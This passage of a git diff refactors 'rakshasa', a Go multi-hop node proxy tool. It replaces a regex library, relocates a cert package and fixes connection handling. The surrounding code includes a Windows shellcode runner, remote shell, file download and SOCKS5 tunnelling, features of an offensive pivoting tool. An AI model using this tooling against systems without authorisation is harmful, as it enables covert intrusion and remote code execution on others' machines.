errors.New("配置解析错误," + err.Error()) - } + r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`) + m = r.FindAllStringSubmatch(str, 1) + if m != nil { - var res_v []string - for _, v := range m.Groups() { - res_v = append(res_v, v.String()) - } - addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3]) + + addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3]) if err != nil { - return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口") + return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口") } return &Addr{ - scheam: res_v[1], + scheam: m[0][1], user: "", passwd: "", - ip: res_v[2], + ip: m[0][2], port: addr.Port, }, nil } diff --git a/common/cmd.go b/common/cmd.go index ba3870f..2c66197 100644 --- a/common/cmd.go +++ b/common/cmd.go @@ -4,15 +4,16 @@ import ( "bytes" "errors" "fmt" - "github.com/dlclark/regexp2" - "github.com/google/uuid" "math/rand" "net" "rakshasa/aes" + "regexp" "strings" "sync" "sync/atomic" "time" + + "github.com/google/uuid" ) var Debug bool = false @@ -28,10 +29,10 @@ var EnableTermVt bool // 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包 type Msg struct { - From string - To string - MsgId uint32 - Ttl uint8 + From string + To string + MsgId uint32 + Ttl uint8 CmdOpteion uint8 CmdId uint32 CmdData []byte @@ -311,13 +312,13 @@ func ResolveTCPAddr(str string) ([]string, error) { dst = append(dst[:i], dst[i+1:]...) } else { if _, err := net.ResolveTCPAddr("tcp", addr); err != nil { - if i>0{ - r, _ := regexp2.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`, 0) - match,_ :=r.MatchString(addr) - if !match{ + if i > 0 { + r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`) + match := r.MatchString(addr) + if !match { return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err) } - }else{ + } else { return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err) } diff --git a/config.yaml b/config.yaml index bc7b656..3e95137 100644 --- a/config.yaml +++ b/config.yaml @@ -2,7 +2,6 @@ dstnode: #- 192.168.1.180:8883 password: "" port: 8884 -listenip: - - 192.168.1.151 +listenip: 192.168.1.151 limit: false filename: config.yaml diff --git a/go.mod b/go.mod index 6b36be3..f37f8f5 100644 --- a/go.mod +++ b/go.mod @@ -4,11 +4,13 @@ go 1.16 replace github.com/abiosoft/readline => ./readline +replace cert => ./cert + require ( + cert v0.0.0-00010101000000-000000000000 github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db github.com/creack/pty v1.1.18 - github.com/dlclark/regexp2 v1.7.0 - github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 + github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 // indirect github.com/google/uuid v1.3.0 github.com/luyu6056/ishell v1.0.1 github.com/mattn/go-colorable v0.1.12 // indirect diff --git a/go.sum b/go.sum index 55c6024..7a690c0 100644 --- a/go.sum +++ b/go.sum @@ -13,8 +13,6 @@ github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo= -github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94= github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0= github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= diff --git a/main.go b/main.go index 1229958..0d20005 100644 --- a/main.go +++ b/main.go @@ -1,13 +1,13 @@ package main import ( + "cert" "flag" "fmt" "log" "net/http" _ "net/http/pprof" "rakshasa/aes" - "rakshasa/cert" "rakshasa/common" "rakshasa/httppool" "rakshasa/server" @@ -108,7 +108,7 @@ func main() { server.SetConfig(config) //设置一下秘钥 - aes.Key = aes.MD5_B(config.Password + string(cert.PrivateKey[:16])) + aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16])) //初始化node server.InitCurrentNode() @@ -133,7 +133,7 @@ func main() { if *shellCode != "" { server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout) } - if err := server.StartServer(fmt.Sprintf("%s:%d", config.ListenIp, config.Port)); err != nil { + if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil { log.Fatalln(err) } diff --git a/readme/rakshasa项目设计.md b/readme/rakshasa项目设计.md index 7f2214c..c416187 100644 --- a/readme/rakshasa项目设计.md +++ b/readme/rakshasa项目设计.md @@ -30,7 +30,7 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级 - Go语言:因为Go语言是一门高效的并发编程语言,非常适合网络编程。 - github.com/abiosoft/ishell包:实现各操作系统中的CLI。 - github.com/creack/pty包:实现Linux伪终端,可以执行交互式命令与更高级的终端显示效果。 -- github.com/dlclark/regexp2包:全功能正则表达式 。 +- github.com/farmerx/gorsa包:实现私钥加密公钥解密,用来解决节点权限限制。 ## 4. 项目结构 diff --git a/server/conn.go b/server/conn.go index 3fb6e22..1ca3e0e 100644 --- a/server/conn.go +++ b/server/conn.go @@ -2,6 +2,7 @@ package server import ( "bytes" + "cert" "crypto/tls" "encoding/json" "fmt" @@ -10,7 +11,6 @@ import ( "net" "net/url" "rakshasa/aes" - "rakshasa/cert" "rakshasa/common" "strconv" "strings" @@ -690,12 +690,6 @@ func (c *Conn) handle() { func (c *Conn) reg() error { var err error - - c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone()) - if err != nil { - return err - } - reg := &common.RegMsg{ UUID: currentNode.uuid, MainIp: cert.RSAEncrypterStr(currentNode.mainIp), @@ -710,7 +704,6 @@ func (c *Conn) reg() error { CmdOpteion: common.CMD_REG, CmdData: regb, } - if err = c.tlsWrite(msg.Marshal()); err != nil { return err } @@ -734,7 +727,15 @@ func (c *Conn) Write(b []byte) { func (c *Conn) tlsWrite(b []byte) error { c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE)) - _, err := c.nodeConn.Write(b) + n, err := c.nodeConn.Write(b) + if common.Debug { + if c.node!=nil{ + fmt.Println("writeto", c.node.uuid, n) + }else{ + fmt.Println("writeto",common.NoneUUID, n) + } + + } if err != nil { c.Close("Write " + err.Error()) upNodeWrite <- b diff --git a/server/http_proxy.go b/server/http_proxy.go index 4634381..d2db6e5 100644 --- a/server/http_proxy.go +++ b/server/http_proxy.go @@ -10,7 +10,7 @@ import ( "net" "net/url" "os" - "rakshasa/cert" + "cert" "rakshasa/common" "rakshasa/httppool" "runtime/debug" diff --git a/server/node.go b/server/node.go index deedc04..86611f8 100644 --- a/server/node.go +++ b/server/node.go @@ -2,6 +2,7 @@ package server import ( "bytes" + "cert" "crypto/tls" "encoding/json" "errors" @@ -11,7 +12,6 @@ import ( "math/rand" "net" "os" - "rakshasa/cert" "rakshasa/common" "runtime" "strconv" @@ -226,18 +226,21 @@ func connectNew(addr string) (n *node, e error) { addrs, e := i.Addrs() if e == nil { for _, localAddr := range addrs { - go func() { + go func(localAddr net.Addr) { localstr := localAddr.String() localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0" laddr, _ := net.ResolveTCPAddr("tcp", localstr) - if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil { - conn := tls.Client(netconn, config) - select { - case connChan <- conn: - default: + if laddr!=nil{ + if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil { + conn := tls.Client(netconn, config) + select { + case connChan <- conn: + default: + } } } - }() + + }(localAddr) } } } @@ -470,6 +473,8 @@ func (n *node) do(msg *common.Msg) { } currentNode.broadcastNode() + //把本机所有节点同步到注册机器 + go n.writeGetNodeResult(msg.CmdId) }() case common.CMD_REG_RESULT: var regmsg common.RegMsg @@ -536,8 +541,8 @@ func (n *node) do(msg *common.Msg) { default: } - //回复节点 - //n.writeGetNodeResult(msg.CmdId) + //交换节点 + n.writeGetNodeResult(msg.CmdId) case common.CMD_REMOTE_REG: @@ -616,8 +621,7 @@ func (n *node) do(msg *common.Msg) { } l.Unlock() - //fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr) - //n.writeGetNodeResult(msg.CmdId) + n.writeGetNodeResult(msg.CmdId) case common.CMD_PING: n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...)) @@ -1427,18 +1431,17 @@ func GetNodeFromAddrs(dst []string) (n *node, err error) { if n, err = getNode(dst[0]); err != nil { return } - + if n.uuid == currentNode.uuid { + return nil, errors.New("不能连接自己") + } for i := 1; i < len(dst); i++ { n, err = n.remoteReg(dst[i]) if err != nil { return nil, fmt.Errorf("%s,%v", dst[i], err) } - } - if n == nil { - return nil, fmt.Errorf("无法连接 %v", dst) - } - if n.uuid == currentNode.uuid { - return nil, errors.New("不能连接自己") + if n.uuid == currentNode.uuid { + return nil, errors.New("不能连接自己") + } } n.reConnectAddrs = make([]string, len(dst)) copy(n.reConnectAddrs, dst) diff --git a/server/raw_tcp_client.go b/server/raw_tcp_client.go index 2bf4e29..7efbbfb 100644 --- a/server/raw_tcp_client.go +++ b/server/raw_tcp_client.go @@ -7,7 +7,7 @@ import ( "hash/crc32" "math/rand" "net" - "rakshasa/cert" + "cert" "rakshasa/common" "strconv" "strings" diff --git a/server/remote_socks5.go b/server/remote_socks5.go index 7c69e29..8f4ed67 100644 --- a/server/remote_socks5.go +++ b/server/remote_socks5.go @@ -5,7 +5,7 @@ import ( "errors" "fmt" "math/rand" - "rakshasa/cert" + "cert" "rakshasa/common" "strconv" "strings" diff --git a/server/shell.go b/server/shell.go index 8aebcb0..3d361e5 100644 --- a/server/shell.go +++ b/server/shell.go @@ -6,6 +6,7 @@ package server */ import ( "bytes" + "cert" "encoding/json" "fmt" "io" @@ -13,8 +14,9 @@ import ( "os" "os/exec" "rakshasa/aes" - "rakshasa/cert" "rakshasa/common" + + "regexp" "runtime" "strconv" "strings" @@ -24,7 +26,6 @@ import ( "github.com/abiosoft/readline" "github.com/creack/pty" - "github.com/dlclark/regexp2" "github.com/luyu6056/ishell" "golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/transform" @@ -109,7 +110,7 @@ func init() { c.Println(c.Args) currentConfig.Password = c.Args[0] currentConfig.FileSave = false - aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PrivateKey[:16])) + aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16])) }, }) configShell.AddCmd(&ishell.Cmd{ @@ -133,7 +134,9 @@ func init() { currentConfig.Port = port currentNode.port = port currentConfig.FileSave = false - StartServer(fmt.Sprintf("%s:%d", currentConfig.ListenIp, currentConfig.Port)) + if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil { + c.Printf("启动节点失败 %v, 请重新修改监听端口",currentConfig.Port) + } }, }) @@ -261,7 +264,7 @@ func init() { pwd = dir } else { pwd += "/" + dir - pwd = strings.TrimRight(realpath(pwd), "/") + pwd = strings.TrimRight(getRealPath(pwd), "/") } resChan := make(chan interface{}, 1) @@ -326,7 +329,7 @@ func init() { } filename := pwd[i+1:] dir := pwd[:i] - dir = strings.TrimRight(realpath(dir), "/") + "/" + dir = strings.TrimRight(getRealPath(dir), "/") + "/" pwd = dir + filename resChan := make(chan interface{}, 9999) //避免收消息阻塞 @@ -432,7 +435,7 @@ func init() { } filename := pwd[i+1:] dir := pwd[:i] - dir = strings.TrimRight(realpath(dir), "/") + "/" + dir = strings.TrimRight(getRealPath(dir), "/") + "/" mydir, err := os.Getwd() local := "./" + filename if err == nil { @@ -468,7 +471,7 @@ func init() { b[be+5] = byte(total >> 40) b[be+6] = byte(total >> 48) b[be+7] = byte(total >> 56) - n.Write(common.CMD_DOWNLOAD, id,cert.RSAEncrypterByPrivByte(b)) + n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b)) c.ProgressBar().Start() size := int64(0) resnum := 0 @@ -621,8 +624,8 @@ func init() { if !common.EnableTermVt { s.translate = func(in []byte) ([]byte, error) { if in[0] == 27 { - r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0) - res, _ := r.Replace(string(in), "", 0, -1) + r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`) + res := r.ReplaceAllString(string(in), "") return []byte(res), nil } return in, nil @@ -758,7 +761,7 @@ func printNodes(c *ishell.Context) { } } -func realpath(path string) string { +func getRealPath(path string) string { path_s := strings.Split(path, "/") realpath := []string{} diff --git a/server/shellcode.go b/server/shellcode.go index 2c4de6a..6009618 100644 --- a/server/shellcode.go +++ b/server/shellcode.go @@ -10,7 +10,7 @@ import ( "os" "os/exec" "path/filepath" - "rakshasa/cert" + "cert" "rakshasa/common" "strconv" "time" diff --git a/server/shellcode_windows.go b/server/shellcode_windows.go index cb968c6..e7156dd 100644 --- a/server/shellcode_windows.go +++ b/server/shellcode_windows.go @@ -11,7 +11,7 @@ import ( var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") - VirtualProtect = kernel32.MustFindProc("VirtualProtect") + old32 = syscall.MustLoadDLL("ole32.dll") CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc") ) @@ -22,6 +22,7 @@ func shellcodeRun(code []byte) error { fmt.Println(err) } }() + VirtualProtect := kernel32.MustFindProc("VirtualProtect") l := uintptr(len(code)) pwstrLocal, _, _ := CoTaskMemAlloc.Call(l) diff --git a/server/socks5.go b/server/socks5.go index 9ed01c5..d8dbeff 100644 --- a/server/socks5.go +++ b/server/socks5.go @@ -2,6 +2,7 @@ package server import ( "bytes" + "cert" "encoding/binary" "errors" "fmt" @@ -9,7 +10,6 @@ import ( "log" "math/rand" "net" - "rakshasa/cert" "rakshasa/common" "runtime/debug" "strconv" @@ -23,8 +23,6 @@ import ( ) const ( - STATUS_OFF = 0 - STATUS_ON = 1 UDP_PORT_MIN = 30000 UDP_PORT_MAX = 60000 SOCKES5_VERSION = 5 @@ -32,13 +30,11 @@ const ( var ( SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0} - SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2} - + SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2} PROTOCOL_ERR = errors.New("protocolErr") ) const ( - SERVER_NUM = 4 //有效的连接数量 CONN_AUTH_CLOSE = 0 CONN_AUTH_NONE = 1 CONN_AUTH_PW = 2 @@ -270,7 +266,7 @@ func handleSocks5Local(s *clientConnect) { if len(data) > 2 { if data[0] == 5 { if s.cfg.User() != "" && s.cfg.Password() != "" { - s.conn.Write(SOCKES5_AUTH_SUSSCES) + s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD) s.auth = CONN_AUTH_PW } else { s.conn.Write(SOCKES5_AUTH_SUSSCES)